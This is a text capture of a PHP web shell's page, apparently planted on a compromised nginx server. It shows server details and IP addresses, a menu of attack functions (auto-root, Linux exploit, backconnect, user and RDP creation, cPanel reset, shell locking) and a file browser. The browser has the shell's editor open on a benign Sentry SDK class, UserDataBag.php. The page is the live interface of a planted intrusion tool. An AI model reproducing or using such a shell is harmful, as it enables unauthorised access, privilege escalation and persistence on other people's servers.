Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.1
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
sms-core /
vendor /
sentry /
sentry /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Context
[ DIR ]
drwxrwxr-x
Exception
[ DIR ]
drwxrwxr-x
HttpClient
[ DIR ]
drwxrwxr-x
Integration
[ DIR ]
drwxrwxr-x
Monolog
[ DIR ]
drwxrwxr-x
Serializer
[ DIR ]
drwxrwxr-x
State
[ DIR ]
drwxrwxr-x
Tracing
[ DIR ]
drwxrwxr-x
Transport
[ DIR ]
drwxrwxr-x
Util
[ DIR ]
drwxrwxr-x
Breadcrumb.php
7.82
KB
-rw-rw-r--
Client.php
10.27
KB
-rw-rw-r--
ClientBuilder.php
5.02
KB
-rw-rw-r--
ClientBuilderInterface.php
2.95
KB
-rw-rw-r--
ClientInterface.php
2.77
KB
-rw-rw-r--
Dsn.php
6.53
KB
-rw-rw-r--
ErrorHandler.php
15.16
KB
-rw-rw-r--
Event.php
15.14
KB
-rw-rw-r--
EventHint.php
1.9
KB
-rw-rw-r--
EventId.php
891
B
-rw-rw-r--
EventType.php
1.21
KB
-rw-rw-r--
ExceptionDataBag.php
2.49
KB
-rw-rw-r--
ExceptionMechanism.php
1.67
KB
-rw-rw-r--
Frame.php
6.63
KB
-rw-rw-r--
FrameBuilder.php
8.03
KB
-rw-rw-r--
Options.php
29.08
KB
-rw-rw-r--
Response.php
1017
B
-rw-rw-r--
ResponseStatus.php
2.99
KB
-rw-rw-r--
SentrySdk.php
1.24
KB
-rw-rw-r--
Severity.php
3.88
KB
-rw-rw-r--
Stacktrace.php
2.4
KB
-rw-rw-r--
StacktraceBuilder.php
2.39
KB
-rw-rw-r--
UserDataBag.php
5.29
KB
-rw-rw-r--
functions.php
4.03
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : UserDataBag.php
<?php declare(strict_types=1); namespace Sentry; /** * This class stores the information about the authenticated user for a request. */ final class UserDataBag { /** * @var string|int|null The unique ID of the user */ private $id; /** * @var string|null The email address of the user */ private $email; /** * @var string|null The IP of the user */ private $ipAddress; /** * @var string|null The username of the user */ private $username; /** * @var array<string, mixed> Additional data */ private $metadata = []; /** * UserDataBag constructor. * * @param string|int|null $id */ public function __construct($id = null, ?string $email = null, ?string $ipAddress = null, ?string $username = null) { $this->setId($id); $this->setEmail($email); $this->setIpAddress($ipAddress); $this->setUsername($username); } /** * Creates an instance of this object from a user ID. * * @param string|int $id The ID of the user */ public static function createFromUserIdentifier($id): self { return new self($id); } /** * Creates an instance of this object from an IP address. * * @param string $ipAddress The IP address of the user */ public static function createFromUserIpAddress(string $ipAddress): self { return new self(null, null, $ipAddress); } /** * Creates an instance of this object from the given data. * * @param array<string, mixed> $data The raw data */ public static function createFromArray(array $data): self { $instance = new self(); foreach ($data as $field => $value) { switch ($field) { case 'id': $instance->setId($value); break; case 'ip_address': $instance->setIpAddress($value); break; case 'email': $instance->setEmail($value); break; case 'username': $instance->setUsername($value); break; default: $instance->setMetadata($field, $value); break; } } return $instance; } /** * Gets the ID of the user. * * @return string|int|null */ public function getId() { return $this->id; } /** * Sets the ID of the user. * * @param string|int|null $id The ID */ public function setId($id): void { if (null !== $id && !\is_string($id) && !\is_int($id)) { throw new \UnexpectedValueException(sprintf('Expected an integer or string value for the $id argument. Got: "%s".', get_debug_type($id))); } $this->id = $id; } /** * Gets the username of the user. */ public function getUsername(): ?string { return $this->username; } /** * Sets the username of the user. * * @param string|null $username The username */ public function setUsername(?string $username): void { $this->username = $username; } /** * Gets the email of the user. */ public function getEmail(): ?string { return $this->email; } /** * Sets the email of the user. * * @param string|null $email The email */ public function setEmail(?string $email): void { $this->email = $email; } /** * Gets the ip address of the user. */ public function getIpAddress(): ?string { return $this->ipAddress; } /** * Sets the ip address of the user. * * @param string|null $ipAddress The ip address */ public function setIpAddress(?string $ipAddress): void { if (null !== $ipAddress && false === filter_var($ipAddress, \FILTER_VALIDATE_IP)) { throw new \InvalidArgumentException(sprintf('The "%s" value is not a valid IP address.', $ipAddress)); } $this->ipAddress = $ipAddress; } /** * Gets additional metadata. * * @return array<string, mixed> */ public function getMetadata(): array { return $this->metadata; } /** * Sets the given field in the additional metadata. * * @param string $name The name of the field * @param mixed $value The value */ public function setMetadata(string $name, $value): void { $this->metadata[$name] = $value; } /** * Removes the given field from the additional metadata. * * @param string $name The name of the field */ public function removeMetadata(string $name): void { unset($this->metadata[$name]); } /** * Merges the given context with this one. * * @param UserDataBag $other The context to merge the data with * * @return $this */ public function merge(self $other): self { $this->id = $other->id; $this->email = $other->email; $this->ipAddress = $other->ipAddress; $this->username = $other->username; $this->metadata = array_merge($this->metadata, $other->metadata); return $this; } }
Close